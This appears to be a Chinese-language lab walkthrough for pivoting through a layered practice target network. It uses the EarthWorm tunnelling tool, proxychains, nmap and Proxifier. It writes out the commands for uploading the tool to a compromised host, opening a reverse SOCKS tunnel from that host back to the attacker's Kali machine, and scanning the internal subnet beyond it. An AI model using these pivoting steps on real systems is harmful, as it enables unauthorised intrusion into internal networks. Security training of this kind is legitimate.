新增一个桥接的网卡:
vim /etc/network/interfaces
auto enth1
iface eth1 inet static
address 10.177.228.200
netmask 255.255.255.0
gateway 10.177.228.253
/etc/init.d/networking restart

1.下载ew工具,修改执行权限:
git clone git://github.com/idlefire/ew
cd ew
chmod +x *
2.首先,明确目标:第一层靶机a外网网段和kali机相同,先ssh远程登录到第一层靶机,上传ew_linux_x64工具:
scp -p ew_for_linux64 /tmp
3.其次,需要修改socks5的端口配置,使通过proxychains启动的软件都是走kali的1084端口:
vim /etc/proxychains4.conf //修改配置
Socks5 127.0.0.1 1084 //配置kali的代理设置

4.现在使用ew做反向代理,起一个连接隧道,连接第一层靶机,在kali上执行ew命令:
./ew_for_linux64 -s rcsocks -l 1084 -e 6004 -t 1000000 //监听本机的1084端口转发到本地6004端口上
5.ssh远程连接到第一层靶机的外网IP,通过socks隧道连接公网IP的6004端口(-t是为了避免连接中断,因为最开始使用msf反弹,连接上马上就中断了)
该命令表示:在一层靶机a本地开启 socks 5服务,并反弹到 kali 的 6004端口,如果代理建立成功,在 kali 端就会看到 rssocks cmd_socket OK! 的提示。 // setsid为放在后台运行
setsid ./ew_for_linux64 -s rssocks -d 10.177.228.200 -e 6004 -t 1000000
6.在kali机上返回ok字样,表示隧道建立。此时用kali自带的proxychains工具扫描ip,扫描第二层靶机的内网ip为:192.168.1.8,对该ip进行端口扫描,发现开启了22端口:
proxychains nmap -sP 192.168.1.0/24
proxychains nmap -Pn -sT -F 192.168.1.8

6.此时目标,访问二层靶机ip为192.168.1.8,并且上传ew工具,所以使用finalshell工具进行连接比较方便,由于网段不通,因此需要为finalshell工具设置代理。
7.此时打开proxifier代理工具,选择proxyservers配置代理服务,新建一条代理路径,端口为1084:


8.然后选择proxification rules,添加finalshell工具的代理,并设置目标主机为全网段:

配置好之后选择ew的action为socks5,default为direct:

完成配置之后,使用finalshell连接上192.168.1.8二层靶机b,上传ew工具:
